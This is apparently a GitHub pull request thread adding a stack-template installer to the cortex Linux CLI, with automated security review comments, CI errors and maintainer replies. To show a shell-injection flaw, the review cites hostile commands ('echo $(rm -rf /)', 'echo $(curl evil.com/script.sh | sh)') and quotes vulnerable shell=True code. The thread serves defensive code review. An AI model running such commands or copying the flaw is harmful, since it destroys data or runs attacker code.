Learning: In cortex/cli.py, the _is_ambiguous_request method intentionally only checks for domain=="unknown" and does not recheck the ambiguous field from the intent dict. The design assumes that ambiguity handling occurs at the interpreter layer through LLM prompting, and the domain check in CLI is sufficient as a safety mechanism.
Applied to files:
cortex/cli.py
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : Dry-run by default for all installations in command execution
Applied to files:
cortex/cli.py
🧬 Code graph analysis (1)
cortex/templates.py (1)
cortex/packages.py (2)
PackageManager(22-467)PackageManagerType(14-19)
🪛 GitHub Actions: CI
cortex/cli.py
[error] 27-27: F811 Redefinition of unused InstallationStep from line 13.
🪛 GitHub Actions: Cortex Automation
cortex/cli.py
[error] 28-28: ModuleNotFoundError: No module named 'cortex.user_preferences' while importing cortex.cli. Ensure the module exists or fix the import path.
🪛 GitHub Check: lint
cortex/cli.py
[failure] 27-27: Ruff (F811)
cortex/cli.py:27:30: F811 Redefinition of unused InstallationStep from line 13
🪛 GitHub Check: Lint
cortex/cli.py
[failure] 27-27: Ruff (F811)
cortex/cli.py:27:30: F811 Redefinition of unused InstallationStep from line 13
🔇 Additional comments (5)
cortex/cli.py (4)
1006-1024: LGTM: Clean implementation of stack loading with error handling.The
_install_from_stackmethod properly handles template not found, displays available stacks, and provides clear user feedback.
1197-1227: LGTM: Stack list implementation is well-structured.The
stack_listmethod provides formatted output with version, type, and truncated descriptions. Clear usage instructions are shown at the end.
2376-2405: Good: Deprecated template commands redirect to stack commands with warnings.The backward-compatible deprecation approach with clear warnings and redirection to new commands is well implemented.
2293-2302: No issues found with the argparse configuration.The mutually exclusive group with a positional argument (
nargs='?') works correctly and mutual exclusivity is properly enforced. Testing confirms it rejects requests with both--stackandsoftwareprovided, while accepting either individually. Since the project requires Python >= 3.10, compatibility with argparse is not a concern.cortex/templates.py (1)
37-43: The project'ssetup.pyspecifiespython_requires=">=3.10", which means Python 3.10+ is already the minimum supported version. The union syntaxint | Noneis the standard and preferred way to write type hints in Python 3.10+, so no change is needed.Likely an incorrect or invalid review comment.
| # Run post-install commands once | ||
| if template.post_install: | ||
| self._print_status("[*]", "Running post-installation steps...") | ||
| print("\n[*] Post-installation information:") | ||
| for cmd in template.post_install: | ||
| subprocess.run(cmd, shell=True) |
There was a problem hiding this comment.
Post-install commands executed via shell=True enable shell injection.
Despite validation limiting post_install to echo commands, the shell still evaluates command substitution before echo runs. A malicious template with echo $(rm -rf /) would execute the substitution.
This was flagged in a previous review and remains unaddressed.
Recommended fix: Parse echo messages in Python without invoking shell
# Run post-install commands once
if template.post_install:
self._print_status("[*]", "Running post-installation steps...")
print("\n[*] Post-installation information:")
for cmd in template.post_install:
- subprocess.run(cmd, shell=True)
+ # Parse and print echo messages safely without shell
+ if cmd.strip().startswith("echo "):
+ message = cmd.strip()[5:].strip('\'"')
+ print(f" {message}")
+ else:
+ print(f" [WARNING] Skipped non-echo command: {cmd[:50]}")This eliminates subprocess execution entirely for informational post-install messages.
| # Check for command substitution patterns | ||
| if "$(" in cmd_stripped or "`" in cmd_stripped: | ||
| # Allow $(...) in echo commands for version checks (built-in templates use this) | ||
| if not cmd_stripped.startswith("echo "): | ||
| errors.append( | ||
| f"post_install[{i}]: Command substitution only allowed in 'echo' commands" | ||
| ) |
There was a problem hiding this comment.
Command substitution in echo commands remains exploitable.
This was flagged in a previous review as a critical security issue. Allowing $(...) in echo commands still permits arbitrary code execution because the shell evaluates the substitution before echo receives it. For example, echo $(curl evil.com/script.sh | sh) bypasses the echo-only whitelist.
The current check at lines 204-208 is insufficient protection.
Recommended fix: Block all command substitution
# Check for command substitution patterns
if "$(" in cmd_stripped or "`" in cmd_stripped:
- # Allow $(...) in echo commands for version checks (built-in templates use this)
- if not cmd_stripped.startswith("echo "):
- errors.append(
- f"post_install[{i}]: Command substitution only allowed in 'echo' commands"
- )
+ errors.append(
+ f"post_install[{i}]: Command substitution is not allowed for security reasons"
+ )Then update built-in templates to use static strings like "echo Node.js installed. Check version with: node --version".
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Check for command substitution patterns | |
| if "$(" in cmd_stripped or "`" in cmd_stripped: | |
| # Allow $(...) in echo commands for version checks (built-in templates use this) | |
| if not cmd_stripped.startswith("echo "): | |
| errors.append( | |
| f"post_install[{i}]: Command substitution only allowed in 'echo' commands" | |
| ) | |
| # Check for command substitution patterns | |
| if "$(" in cmd_stripped or "`" in cmd_stripped: | |
| errors.append( | |
| f"post_install[{i}]: Command substitution is not allowed for security reasons" | |
| ) |
🤖 Prompt for AI Agents
In @cortex/templates.py around lines 202 - 208, The current check in the
post-install command validation (inspecting cmd_stripped in cortex/templates.py)
incorrectly allows command substitution for commands starting with "echo", which
still permits arbitrary execution (e.g., echo $(...)). Change the validation to
reject any command containing command substitution patterns ("$(" or "`")
unconditionally by appending an error via the same errors.append(...) path
(e.g., post_install[{i}] message), and update built-in templates to replace
dynamic echo substitutions with static strings (e.g., "echo Node.js installed.
Check version with: node --version") so no legitimate template relies on $(...)
or backticks.
| if name not in templates: # Don't override built-in | ||
| try: | ||
| template = self.load_template(name) | ||
| if template: | ||
| templates[name] = { | ||
| "name": template.name, | ||
| "description": template.description, | ||
| "version": template.version, | ||
| "author": template.author, | ||
| "type": "user", | ||
| "path": str(template_file), | ||
| } | ||
| except Exception: | ||
| pass |
There was a problem hiding this comment.
User templates that shadow built-ins are hidden in listings.
Per the past review, when a user creates a template with the same name as a built-in (e.g., ~/.cortex/templates/lamp.yaml), list_templates skips the user version (line 409) and only shows the built-in metadata. However, load_template prefers user templates, so installation uses the user's version while the listing displays the built-in's description.
This inconsistency can confuse users who override built-in templates.
Suggested fix: Indicate when a user template overrides a built-in
for template_file in self.user_templates_dir.glob(f"*{ext}"):
name = template_file.stem
- if name not in templates: # Don't override built-in
- try:
- template = self.load_template(name)
- if template:
- templates[name] = {
- "name": template.name,
- "description": template.description,
- "version": template.version,
- "author": template.author,
- "type": "user",
- "path": str(template_file),
- }
- except Exception:
- pass
+ try:
+ template = self.load_template(name)
+ if template:
+ template_type = "user (overrides built-in)" if name in templates else "user"
+ templates[name] = {
+ "name": template.name,
+ "description": template.description,
+ "version": template.version,
+ "author": template.author,
+ "type": template_type,
+ "path": str(template_file),
+ }
+ except Exception:
+ pass
|
|
@Anshgrover23 Please review this PR. |
Anshgrover23
left a comment
Anshgrover23
left a comment
There was a problem hiding this comment.
@aliraza556 First, Complete your CLA verification by raising a new PR following the pattern of this PR #401 and read the documentation regarding AI Usage and add that as well in PR description.
Also, address all coderabbit comments.
There was a problem hiding this comment.
@aliraza556 Follow contributing.md guidelines and Kindly Resolve Conflicts. Making it draft until then.
|
@aliraza556 Are u still Interested to complete this PR then resolve conflicts and reply , if not let me know. |
@Anshgrover23 Yes, I’m still interested. I’ll resolve the conflicts and update the PR shortly. |
|
@aliraza556 Please rebase on main - 10 PRs were just merged. Bounty ready to process once mergeable. |
|
@aliraza556 Please rebase this PR on Once rebased and passing CI, this is ready for merge with bounty payment. |
6 participants
Overview
This PR implements a comprehensive installation template system that allows users to install pre-configured development stacks (LAMP, MEAN, MERN, ML/AI, DevOps) with a single command. The system supports template creation, validation, hardware compatibility checking, and sharing.
Features Implemented
Core Template System
Built-in Templates (5+)
Template Management
Hardware Compatibility
CLI Commands Added
Example Usage
Files Changed
New Files
cortex/templates.py- Core template system (519 lines)cortex/templates/lamp.yaml- LAMP stack templatecortex/templates/mean.yaml- MEAN stack templatecortex/templates/mern.yaml- MERN stack templatecortex/templates/ml-ai.yaml- ML/AI stack templatecortex/templates/devops.yaml- DevOps stack templatecortex/templates/README.md- Template directory documentationtest/test_templates.py- Comprehensive unit tests (452 lines)docs/TEMPLATES.md- Complete template documentation (571 lines)Modified Files
cortex/cli.py- Added template commands and integrationsrc/requirements.txt- Added PyYAML dependencyTesting
Documentation
Acceptance Criteria Met
Dependencies
pyyaml>=6.0.0to requirements🎯 Related Issues
Closes #44
Summary by CodeRabbit
New Features
New Content
Documentation
Tests
✏️ Tip: You can customize this high-level summary in your review settings.